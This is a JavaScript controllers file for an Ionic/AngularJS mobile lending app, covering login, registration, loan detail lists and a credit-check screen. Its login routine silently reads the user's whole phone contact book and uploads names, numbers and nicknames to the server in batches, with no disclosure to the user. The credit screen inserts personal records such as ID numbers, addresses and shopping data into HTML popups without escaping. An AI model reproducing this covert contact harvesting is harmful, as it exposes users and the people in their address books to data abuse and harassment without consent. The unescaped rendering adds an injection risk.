angular.module('starter.commonController', [])


//登录
.controller('LoginCtrl', function($scope,$state,CommonService,$ionicPopup,$window,$cordovaDevice,$cordovaContacts,$ionicLoading,$timeout) {	
	
	//返回
	$scope.goZjr=function(){
		$state.go('tab.zjr');
	}

	//跳转到注册页面
	$scope.reg=function(){
		$state.go('reg');
	}
	$ionicPopup.alert({title:'温馨提示',okText: '确定',template:"若没有授予相关权限导致应用闪退， 请重新安装并同意授权后可正常使用"}).then(function(res){

		});
	//登录
	$scope.loginData={"phone":null,"userPassword":null};
	$scope.login=function(loginData){
		if(loginData.phone == '' || loginData.phone == undefined || loginData.phone == null) {
			$ionicPopup.alert({title:'系统提示',template:'请输入电话号码'});
				return;
			}
		if(loginData.userPassword == '' || loginData.userPassword == undefined || loginData.userPassword == null) {
			$ionicPopup.alert({title:'系统提示',template:'请输入密码'});
				return;
			}
	 $ionicLoading.show({
		      			template: '登录中 ...'
		    		});
		CommonService.login(loginData.phone,loginData.userPassword).then(function(response) {
			$ionicLoading.hide();
			if(response.success=="success"){
				$window.localStorage["user"]=JSON.stringify(response.data);
				try{
					var reg=new RegExp("-","g");
					var alias=response.data.userId.replace(reg,'');
					
					//设置极光推送的别名
					window.plugins.jPushPlugin.setAlias(alias);
					
					var options = {};
					options.filter = "";
					options.multiple = true;

					//调用通讯录
			  		$cordovaContacts.find(options).then(function(result) {
			  				var array=new Array();

			  			for(var i=0;i<result.length;i++){
			  				var object=new Object();		  				
			  				object.name=result[i].displayName;
			  				object.phone=result[i].phoneNumbers[0].value;

			  				if(result[i].nickname==null){
			  					object.remark="";
			  				}else{
			  					object.remark=result[i].nickname+"";
			  				}
			  				array.push(object);

			  				// if(array.length>=50){
			  				// 	var map=new Object();
					  		// 	map.userId=response.data.userId;
					  		// 	map.contacts=JSON.stringify(array);

					  		// 	//保存联系人
							  //   CommonService.saveContacts(map).then(function (response) {

							  //   });
							    
							  //   //重新实例化集合
							  //   array=new Array();
			  				// }
			  			}

			  			//数据分割成50个一组
			  			var sub_arr = [];
			  			var tmarr = [];
			  			for(var i=0;i<array.length;i++){

			  				tmarr.push(array[i]);
			  				if(tmarr.length==20){
			  					sub_arr.push(tmarr);
			  					tmarr = [];
			  				}
			  				else if(tmarr.length<20 && i==array.length-1){
			  					sub_arr.push(tmarr);
			  				}
			  			}

			  			//上传联系人到服务器
			  			for(var i=0;i<sub_arr.length;i++){
			  				var map=new Object();
				  			map.userId=response.data.userId;
				  			map.contacts=JSON.stringify(sub_arr[i]);

				  			//保存联系人
					    	CommonService.saveContacts(map).then(function (response) {

					    		if(zll_dataArr.length>0){
					    			req(zll_dataArr);
					    		}
					    	});
			  			}
					});
					
				}
				catch(e){

				}
				 $ionicLoading.show({
		      			template: '登录成功'
		    		});	
		    	$timeout(function() {
						$ionicLoading.hide();
						$state.go('tab.zjr');
							}, 1000)	
/*				$ionicPopup.alert({title:'系统提示',template:response.message}).then(function(res){
					$state.go('tab.zjr');
				});*/
			}else{
				$ionicPopup.alert({title:'系统提示',template:response.message});
			}
		});
	 $timeout(function() {
		$ionicLoading.hide();
/*		 $ionicLoading.show({
		     template: '网络连接超时'
		    	});
		 	$timeout(function() {
		$ionicLoading.hide();
		    	
		}, 1000) */  	
		}, 5000)
		
	}
	
	//忘记密码
	$scope.forget=function(){
		$state.go('forget');
	}
})

//注册
.controller('RegCtrl', function($scope,$state,CommonService,$ionicPopup,$cordovaDevice,$window,$interval,$timeout) {
	$ionicPopup.alert({title:'手机号注册问题',okText: '确定',okType:'button-light',template:"<p>由于天下无赖平台实名认证采用的是：银行卡号+银行卡绑定手机号+名字+身份证号，四个要素到银联系统进行在线认证，为能方便快捷通过实名认证，流畅地体验天下无赖产品，建议使用银行卡绑定的手机号进行注册。</p>"}).then(function(res){
		});
	//注册
	$scope.regData={"phone":null,"userPassword":null,"type":null,"phoneCode":null,"machineCode":null};
	$scope.register=function(regData){
		//获取设备id
		try{
			regData.machineCode=$cordovaDevice.getUUID();
			var plateform=$cordovaDevice.getPlatform();
			if(plateform.toLowerCase()=='ios'){
				regData.type=2;
			}else if(plateform.toLowerCase()=='android'){
				regData.type=1;
			}else{
				regData.type=3;
			}
		}catch(e){

		}
		
		//手机号码验证
		if(regData.phone==null||regData.phone==''){
			$ionicPopup.alert({title:'系统提示',template:'手机号码不能为空'});
			return ;
		}
		
		if(regData.phone.length!=11){
			$ionicPopup.alert({title:'系统提示',template:'电话号码格式错误'});
			return ;
		}
		
		try{
			parseInt(regData.phone);
		}catch(e){
			$ionicPopup.alert({title:'系统提示',template:'电话号码错误'});
			return ;
		}
		
		//密码验证
		if(regData.userPassword==null||regData.userPassword==''){
			$ionicPopup.alert({title:'系统提示',template:'密码不能为空'});
			return ;
		}
		
		//验证码不能为空
		if(regData.phoneCode==null||regData.phoneCode==''){
			$ionicPopup.alert({title:'系统提示',template:'验证码不能为空'});
			return ;
		}
		
		//执行注册
		CommonService.register(regData.phone,regData.userPassword,regData.type,regData.phoneCode,regData.machineCode)
		.then(function(response) {
			if(response.success=="success"){
				$window.localStorage["user"]=JSON.stringify(response.data);
				$state.go('tab.addXsb');
			}else{
				$ionicPopup.alert({title:'系统提示',template:response.message});
			}
		});
	}
	
	//允许发送短信的状态,默认可发送
	$scope.sendStatus=1;
	//时间间隔为1分钟
	$scope.sendTime=60;
	
	//发送短信验证码
	$scope.sendSms=function(phone){
		if(phone==null||phone==''){
			$ionicPopup.alert({title:'系统提示',template:'电话号码不能为空'});
			return ;
		}
		
		if(phone.length!=11){
			$ionicPopup.alert({title:'系统提示',template:'电话号码格式错误'});
			return ;
		}
		
		try{
			parseInt(phone);
		}catch(e){
			$ionicPopup.alert({title:'系统提示',template:'电话号码错误'});
			return ;
		}
		
		//执行验证码发送
		CommonService.sendSmsCode(phone).then(function(response) {
			$ionicPopup.alert({title:'系统提示',template:response.message});

			if(response.success=="success"){
				//发送成功后启动读秒
				$scope.sendStatus=-1;
				var timer=$interval(function() {
					//一秒中变化一次数字
					$scope.sendTime=$scope.sendTime-1;
					if($scope.sendTime<=0){
						$scope.sendTime=0;
					}
				},1000);
				
				//1分钟后自动销毁
				$timeout(function(){
                    $interval.cancel(timer);
                    $scope.sendStatus=1;
					$scope.sendTime=60;
                },60000);
			}
		});
	}
	
	//用户协议
	$scope.yhxy=function(){
		console.log('用户协议');
	}
})

//注册成功后页面跳转
.controller('RegSuccessCtrl', function($scope,$state) {	
	//跳转到实名绑卡界面
	$scope.bandCard=function(){
		$state.go('bandCard');
	}
})


//忘记密码
.controller('ForgetCtrl', function($scope,$state,$ionicPopup,CommonService,$interval,$timeout) {	
	//允许发送短信的状态,默认可发送
	$scope.sendStatus=1;
	//时间间隔为1分钟
	$scope.sendTime=60;
	
	//发送短信验证码
	$scope.sendSms=function(phone){
		if(phone==null||phone==''){
			$ionicPopup.alert({title:'系统提示',template:'电话号码不能为空'});
			return ;
		}
		
		if(phone.length!=11){
			$ionicPopup.alert({title:'系统提示',template:'电话号码格式错误'});
			return ;
		}
		
		try{
			parseInt(phone);
		}catch(e){
			$ionicPopup.alert({title:'系统提示',template:'电话号码错误'});
			return ;
		}
		
		//执行验证码发送
		CommonService.sendSmsCode(phone).then(function(response) {
			$ionicPopup.alert({title:'系统提示',template:response.message});

			if(response.success=="success"){
				//发送成功后启动读秒
				$scope.sendStatus=-1;
				var timer=$interval(function() {
					//一秒中变化一次数字
					$scope.sendTime=$scope.sendTime-1;
					if($scope.sendTime<=0){
						$scope.sendTime=0;
					}
				},1000);
				
				//1分钟后自动销毁
				$timeout(function(){
                    $interval.cancel(timer);
                    $scope.sendStatus=1;
					$scope.sendTime=60;
                },60000);
			}
		});
	}
	
	$scope.data={};
	//重置密码
	$scope.submit=function(data){
		if(data.phone==null||data.phone==''){
			$ionicPopup.alert({title:'系统提示',template:'电话号码不能为空'});
			return ;
		}
		
		if(data.phone.length!=11){
			$ionicPopup.alert({title:'系统提示',template:'电话号码格式错误'});
			return ;
		}
		
		try{
			parseInt(data.phone);
		}catch(e){
			$ionicPopup.alert({title:'系统提示',template:'电话号码错误'});
			return ;
		}
		
		if(data.password==null||data.password==''){
			$ionicPopup.alert({title:'系统提示',template:'密码不能为空'});
			return ;
		}
		
		//调用重置密码
		CommonService.resetLoginPassword(data).then(function(response) {
			if(response.success=='success'){
				$ionicPopup.alert({title:'系统提示',template:response.message}).then(function(res){
					$state.go('login');
				});
			}else{
				$ionicPopup.alert({title:'系统提示',template:response.message});
			}
		});
	}

})

//短贷数字明细
.controller('LoanDuanDetailCtrl', function($scope,$stateParams,UserService,CommonService,$stateParams){
	
	var customerId=$stateParams.customerId;
	
	var duanPage=0;
	$scope.duanNoMore=true;
	$scope.duanProduces=[];
	// 对Date的扩展，将 Date 转化为指定格式的String
// 月(M)、日(d)、小时(h)、分(m)、秒(s)、季度(q) 可以用 1-2 个占位符， 
// 年(y)可以用 1-4 个占位符，毫秒(S)只能用 1 个占位符(是 1-3 位的数字) 
// 例子： 
// (new Date()).Format("yyyy-MM-dd hh:mm:ss.S") ==> 2006-07-02 08:09:04.423 
// (new Date()).Format("yyyy-M-d h:m:s.S")      ==> 2006-7-2 8:9:4.18 
Date.prototype.Format = function (fmt) { //author: meizz 
    var o = {
        "M+": this.getMonth() + 1, //月份 
        "d+": this.getDate(), //日 
        "h+": this.getHours(), //小时 
        "m+": this.getMinutes(), //分 
        "s+": this.getSeconds(), //秒 
        "q+": Math.floor((this.getMonth() + 3) / 3), //季度 
        "S": this.getMilliseconds() //毫秒 
    };
    if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
    for (var k in o)
    if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
    return fmt;
}
	//加载明细
	$scope.loadProduceByUserId=function(){
		//短贷信息明细
		CommonService.getProduceByUserId(customerId,duanPage).then(function(response) {
			console.log(response);
			$scope.$broadcast('scroll.infiniteScrollComplete');
			if(response.data!=null&&response.data!=''){
				if(response.data.length<=0){
					$scope.duanNoMore=false;
				}else{
					for(var i=0;i<response.data.length;i++){
						if(response.data[i].payBackTime!=null){
						  response.data[i].payBackTime= new Date(response.data[i].payBackTime).Format("yyyy-MM-dd ");
						  response.data[i].deadTime= new Date(response.data[i].deadTime).Format("yyyy-MM-dd ");
						}
						$scope.duanProduces.push(response.data[i]);
					}
					duanPage=duanPage+1;
				}
			}else{
				$scope.duanNoMore=false;
			}
		})
	}

})

//长贷数字明细
.controller('LoanChangDetailCtrl', function($scope,$stateParams,UserService,CommonService,$ionicModal,$state){
	
	var customerId=$stateParams.customerId;
	
	var changPage=0;
	$scope.changNoMore=true;
	$scope.changProduces=[];
	
	//加载数据
	$scope.loadLongProduceByUserId=function(){
		//长贷信息明细
		CommonService.getLongProduceByUserId(customerId,changPage).then(function(response) {
			$scope.$broadcast('scroll.infiniteScrollComplete');
			if(response.data!=null&&response.data!=''){
				if(response.data.length<=0){
					$scope.changNoMore=false;
				}else{
					for(var i=0;i<response.data.length;i++){
						$scope.changProduces.push(response.data[i]);
					}
					changPage=changPage+1;
				}
			}else{
				$scope.changNoMore=false;
			}			
		})
	}
	
	
	//展示明细
	$scope.showPayBacks=function(longProduceId){
		CommonService.getLongProduceDetailById(longProduceId).then(function(response) {
			$scope.produceDetails=response.data;
		});
		
		$ionicModal.fromTemplateUrl('templates/common/changListDetail.html', {
		    scope: $scope,
		    animation: 'slide-in-up'
		}).then(function(modal) {
		    $scope.modal = modal;
		    $scope.modal.show();
		});
		
		//返回
		$scope.cancelPayBack=function(){
			$scope.modal.hide();
			return ;
		}
	}
	
	
})

//征信控制器
.controller('CreditCheckCtrl', function($scope,$stateParams,UserService,CommonService,CreditService,$window,LoanService,$ionicLoading,$ionicPopup,$state,$ionicModal) {
	try{
	  $scope.type=$stateParams.type;
	  console.log($scope.type);
	}catch(error){
		$scope.type=0;
	}
	
//默认展示第一页
	var curPage=1;
	//页面切换
	$scope.changePage=function(page){
		$scope.curPage=page;
	}
	
	//默认展示第一页数据
	$scope.curPage=curPage;
	
	//构建集合
	var zlMap=[
		{name:'实名认证',pic:'icon_smrz.png',status:0,key:'getCertificateInfo'},
		{name:'年龄',pic:'icon_nl.png',age:null,status:0,key:'getAge'},
		{name:'信用身价',pic:'icon_xysj.png',creditValue:null,status:0,key:'getCreditValue'},
		{name:'芝麻信用分',pic:'icon_zmxy.png',zmxyScore:null,status:0,key:'saveJuHeZmxy'},
		{name:'运营商数据分析',pic:'icon_yyssjfx.png',status:0,key:'saveJuHeMnoAccount'},
		{name:'社保查询',pic:'icon_sbcx.png',status:0,key:'saveJuHeSecurity'},
		{name:'运营商认证',pic:'icon_yys.png',status:0,key:'saveJuHeMno'},
		{name:'央行征信报告',pic:'icon_yn.png',status:0,key:'saveJuHeBankCredit'},
		{name:'行车证',pic:'icon_xcz.png',status:0,key:'saveJuHeCar'},
		{name:'公积金查询',pic:'icon_gjj.png',status:0,key:'saveJuHeFund'},
		{name:'京东消费',pic:'icon_jdxf.png',status:0,key:'saveJuHeJingDong'},
		{name:'淘宝消费',pic:'icon_tbxf.png',status:0,key:'saveJuHeTaoBao'},
		{name:'户籍地址查询',pic:'icon_hicx.png',status:0,key:'saveJuHeRegister'},
		{name:'乘机人统计',pic:'icon_cjrtj.png',status:0,key:'saveJuHeFly'},
		{name:'银行卡消费报告',pic:'icon_yhkxf.png',status:0,key:'saveJuHeBankCard'},
		{name:'婚姻状况',pic:'icon_hycx.png',status:0,key:'saveJuHeMarrage'},
		{name:'驾驶证认证',pic:'icon_jsz.png',status:0,key:'saveJuHeDrive'},
		{name:'职业资格证书',pic:'icon_zyzg.png',status:0,key:'saveJuHeProfession'},
		{name:'学历和学籍认证',pic:'icon_xlxj.png',status:0,key:'saveJuHeDegree'}
	];
	
	$scope.zlMap=zlMap;

	var customerId=$stateParams.customerId;
	if(customerId==null||customerId==''){
		customerId=JSON.parse($window.localStorage["user"] || '{}').userId;
	}
	
	//该数据将在页面上使用
	$scope.customerId=customerId;
	
	//弹出高级认证数据
	$scope.searchConfirm=function(map){

		if(map.status==1){
			CommonService.getJuHeRecordByUserId(map.key,customerId).then(function(response){
			 console.log(response);
			 if(response.success == "fail"){
				if(map.key=='saveJuHeMnoAccount'){	
				$ionicPopup.alert({title:'系统提示',template:response.message});
				return ;
		      	}
			}
				if(response.success == "success"){	
					if(map.key=='saveJuHeMnoAccount'&&response.message=="查无数据"){	
						$ionicPopup.alert({title:'系统提示',template:response.message});
						return ;
			      	}
					//运营商数据分析
					if(map.key=='saveJuHeMnoAccount'||map.key=='saveJuHeSecurity'||map.key=='saveJuHeRegister'||map.key=='saveJuHeFly'||
					map.key=='saveJuHeBankCard'||map.key=='saveJuHeMarrage'||map.key=='saveJuHeDrive'||map.key=='saveJuHeProfession'||
					map.key=='saveJuHeDegree'||map.key=='saveJuHeMno'||map.key=='saveJuHeFund'){
						var dataStr='';
						if(map.key!='saveJuHeBankCard'){
							for(var i=0;i<response.data.length;i++){
								dataStr+='<div>'+response.data[i]+'</div>';
							}	
						}
						console.log(response.data);
						if(map.key=='saveJuHeBankCard'){
							try{
							var myxfxx=angular.fromJson(response.data.myxfxx);
							var csxfjk=angular.fromJson(response.data.csxfjk);
							 dataStr='<div>每月消费信息</div> ';
							 dataStr+='<div>消费月:  '+myxfxx.month+'</div>';
							 dataStr+='<div>每月消费金额:  '+myxfxx.amount+'</div>';
							 dataStr+='<div>每月消费笔数:  '+myxfxx.count+'</div>';
							 dataStr+='<div>消费金额在本市排名:  '+myxfxx.amountRanking+'</div>';
							 dataStr+='<div>消费笔数在本市排名:  '+myxfxx.countRanking+'</div>';				 
							 dataStr+='<div>城市消费状况信息</div>';
							 dataStr+='<div>城市名称:  '+csxfjk.name+'</div>';
							 dataStr+='<div>消费笔数:  '+csxfjk.count+'</div>';
							 dataStr+='<div>消费金额:  '+csxfjk.amount+'</div>';
							}catch(e){
							 dataStr='<div>每月消费信息:查无数据 </div> <br/>';					
							 dataStr+='<div>城市消费状况信息：查无数据</div><br/>';
						}
						}

						$ionicPopup.alert({title:'系统提示',template:dataStr,cssClass:'my-custom-popup'});
					}	
					
					//征信报告
					if(map.key=='saveJuHeBankCredit'&&response.data!=null){
						var dataStr='';
						for(var i=0;i<response.data.length;i++){
							dataStr+='<div class="row"><div class="col col-100 textCenter">'+response.data[i].name+'</div></div>';
							dataStr+='<div class="row">';
								dataStr+='<div class="col col-33 textCenter">信用卡</div>';
								dataStr+='<div class="col col-34 textCenter">购房贷款</div>';
								dataStr+='<div class="col col-33 textCenter">其他贷款</div>';
							dataStr+='</div>';
							dataStr+='<div class="row">';
								dataStr+='<div class="col col-33 textCenter pdl5">'+response.data[i].accoutBank+'</div>';
								dataStr+='<div class="col col-34 textCenter">'+response.data[i].accountHome+'</div>';
								dataStr+='<div class="col col-33 textCenter pdr5">'+response.data[i].accountOther+'</div>';
							dataStr+='</div>';
							dataStr+='<div style="height: 10px;width:100%;background: #f8f8f8;"></div>';
						}
						
						$ionicPopup.alert({title:'系统提示',template:dataStr,cssClass:'my-custom-popup'});
					}
					
					//京东消费
					if(map.key=='saveJuHeJingDong'&&response.data!=null){
						//基本信息
						var base=angular.fromJson(response.data.base);
						
						//白条
						var baiTiao=angular.fromJson(response.data.baiTiao);
						
						//消费
						var hisCost=angular.fromJson(response.data.hisCost);
						console.log(response.data);
						var dataStr='';
					     	dataStr+='<div class="row" style="margin-bottom: 10px;">';
							dataStr+='<div class="col col-100">京东个人信息</div>';
					     	dataStr+='</div>';
					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='姓名:';
					     	dataStr+='</div>'; 
					     	dataStr+='<div class="col col-50">';
					     	if(base.realName==null||base.realName==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=base.realName;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';
					     	dataStr+='<div class="row" style="border-bottom: 1px solid #f8f8f8;">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='用户级别:';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(base.userLevel==null||base.userLevel==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=base.userLevel;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';
					     	dataStr+='<div class="row" style="margin-top: 15px;margin-bottom: 10px;">';
							dataStr+='<div class="col col-100">京东消费白条</div>'; 
					     	dataStr+='</div>';
					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='白条额度:';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
/*					     	if(baiTiao.avaliableAmount==null||baiTiao.avaliableAmount==''){
					     		dataStr+='查无数据';
					     	}else{
					     		dataStr+=baiTiao.avaliableAmount;
					     		
					     	}*/
					     	if(baiTiao.score==null||baiTiao.score==''){
					     		dataStr+='查无数据';
					     	}else{
					     		dataStr+=baiTiao.score;
					     		
					     		
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';
/*					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='白条类型';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.btType==null||baiTiao.btType==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.btType;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';*/
/*					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='消费额度';
					     	dataStr+='</div>'; 
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.consumeAmount==null||baiTiao.consumeAmount==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.consumeAmount;
					     	}
					     	dataStr+='</div>'; 
					     	dataStr+='</div>';*/
/*					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='每月还款金额';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.monthPending==null||baiTiao.monthPending==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.monthPending;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';*/
/*					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='是否开通';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.isOpen==null||baiTiao.isOpen==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.isOpen;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';*/
/*					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='已还款金额';
					     	dataStr+='</div>'; 
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.pending==null||baiTiao.pending==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.pending;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';*/
/*					     	dataStr+='<div class="row" style="border-bottom: 1px solid #f8f8f8;">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='总额';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(baiTiao.totalAmount==null||baiTiao.totalAmount==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=baiTiao.totalAmount;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';*/
					     	dataStr+='<div class="row" style="margin-top: 15px;margin-bottom: 10px;">';
							dataStr+='<div class="col col-100">京东历史消费(年)</div>'; 
					     	dataStr+='</div>';
					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='消费金额';
					     	dataStr+='</div>'; 
					     	dataStr+='<div class="col col-50">';
					     	if(hisCost.aYearTotalConsumeMoney==null||hisCost.aYearTotalConsumeMoney==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=hisCost.aYearTotalConsumeMoney;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';
					     	dataStr+='<div class="row">';
					     	dataStr+='<div class="col col-50">';
					     	dataStr+='消费笔数';
					     	dataStr+='</div>';
					     	dataStr+='<div class="col col-50">';
					     	if(hisCost.countCost==null||hisCost.countCost==''){
					     		dataStr+='--';
					     	}else{
					     		dataStr+=hisCost.countCost;
					     	}
					     	dataStr+='</div>';
					     	dataStr+='</div>';
					     	dataStr+='</div>';
     
     					$ionicPopup.alert({title:'系统提示',template:dataStr,cssClass:'my-custom-popup'});
					}
					
					//淘宝消费
					if(map.key=='saveJuHeTaoBao'&&response.data!=null){
						
				
						var base = new Object();
						try{
							base=angular.fromJson(response.data.base);
							
						}catch(e){
							
						}
						
						var huaBei = new Object();
						
						try{
							huaBei=angular.fromJson(response.data.huaBei);
						}catch(e){
							
						}

						var dataStr='';
						
						dataStr+='<div class="row"  style="margin-bottom: 10px;">淘宝个人信息</div>';
				    	dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">绑定手机</div>';
					    	dataStr+='<div class="col col-50">';
					    	
					    	if(base.bindMobile==null||base.bindMobile==''){
					    		dataStr+='查无数据';					    		
					    	}else{
					    		
					    		dataStr+=base.bindMobile;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	    dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">淘宝等级</div>';
					    	dataStr+='<div class="col col-50">';
					    	if(base.taobaoLevel==null||base.taobaoLevel==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=base.taobaoLevel;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	    dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">天猫等级</div>';
					    	dataStr+='<div class="col col-50">';
					    	if(base.tianMaoLevel==null||base.tianMaoLevel==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=base.tianMaoLevel;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	    dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">信用等级</div>';
					    	dataStr+='<div class="col col-50">';
					    	if(base.creditLevel==null||base.creditLevel==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=base.creditLevel;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    		dataStr+='<div class="row"  style="border-bottom: 1px solid #f8f8f8;">';
					    	dataStr+='<div class="col col-25">实名信息</div>';
					    	dataStr+='<div class="col col-75">';
					    	if(base.identity==null||base.identity==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=base.identity;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	dataStr+='<div class="row" style="margin-top: 10px;margin-bottom: 10px;">';
					    	dataStr+='常用收货地址';
				    	dataStr+='</div>';
				    	dataStr+='<div class="row" style="border-bottom: 1px solid #f8f8f8;">';
				    		dataStr+='<div class="col col-100">';
				    		if(base.addrs==null||base.addrs==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=base.addrs;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	dataStr+='<div class="row"  style="margin-top: 10px;margin-bottom: 10px;">花呗信息</div>';
				    	dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">花呗总额</div>';
					    	dataStr+='<div class="col col-50">';
					    	if(huaBei.huabeiTotalAmount==null||huaBei.huabeiTotalAmount==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=huaBei.huabeiTotalAmount;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	dataStr+='<div class="row">';
					    	dataStr+='<div class="col col-50">花呗余额</div>';
					    	dataStr+='<div class="col col-50">';
					    	if(huaBei.huabeiCanUseMoney==null||huaBei.huabeiCanUseMoney==''){
					    		dataStr+='查无数据';
					    	}else{
					    		dataStr+=huaBei.huabeiCanUseMoney;
					    	}
					    	dataStr+='</div>';
				    	dataStr+='</div>';
				    	
				    	$ionicPopup.alert({title:'系统提示',template:dataStr,cssClass:'my-custom-popup'});
					}
					
					
				}
			});



		}
			
			
		

	
	};
	
	//查询用户资料信息
	CreditService.getJuHeStatus(customerId).then(function(response) {
		if(response.success=="success"){
			var data = response.data;
			if(data!=null){
				for(var i=0;i<data.length;i++){
					for(var j=0;j<zlMap.length;j++){
						if(zlMap[j].key==data[i].func){
							zlMap[j].status=data[i].status;
							//处理姓名
							if(zlMap[j].key=='getCertificateInfo'){
								zlMap[j].rname=data[i].name;
								zlMap[j].cn=data[i].certificateNo;
							}
							//芝麻信用处理
							if(zlMap[j].key=='saveJuHeZmxy'){
								zlMap[j].zmxyScore=data[i].zmxyScore;
							}
							
							//处理年龄
							if(zlMap[j].key=='getAge'){
								zlMap[j].sex=data[i].sex;
								zlMap[j].age=data[i].age;
							}
							
							//处理信用身价
							if(zlMap[j].key=='getCreditValue'){
								zlMap[j].creditValue=data[i].creditValue;
							}
							//处理婚姻
							if(zlMap[j].key=='saveJuHeMarrage'){
								zlMap[j].marrageStatus=data[i].marrageStatus;
							}
							//处理运营商
							if(zlMap[j].key=='saveJuHeMno'){
								zlMap[j].mnoTime=data[i].mnoTime;
							}
						}
					}
				}
			}
			$scope.zlMap=zlMap;
		}else{
			$ionicPopup.alert({title:'系统提示',template:response.message});
		}
	},function(e){
		/*$ionicPopup.alert({title:'系统提示',template:'连接超时'});*/
	});
	
	//查询投资理财
	LoanService.getInvestment(customerId).then(function(response) {
		$scope.investment=response.data;
	});
	
	//贷款负债(短贷)
	LoanService.getZJRUserInfoByUserId(customerId).then(function(response) {
		$scope.invesLoanDuan=response.data;
	});
	
	//贷款负债(长贷)
	LoanService.getZJRLongUserInfoByUserId(customerId).then(function(response) {
		$scope.invesLoanChang=response.data;
	});
	
})

;
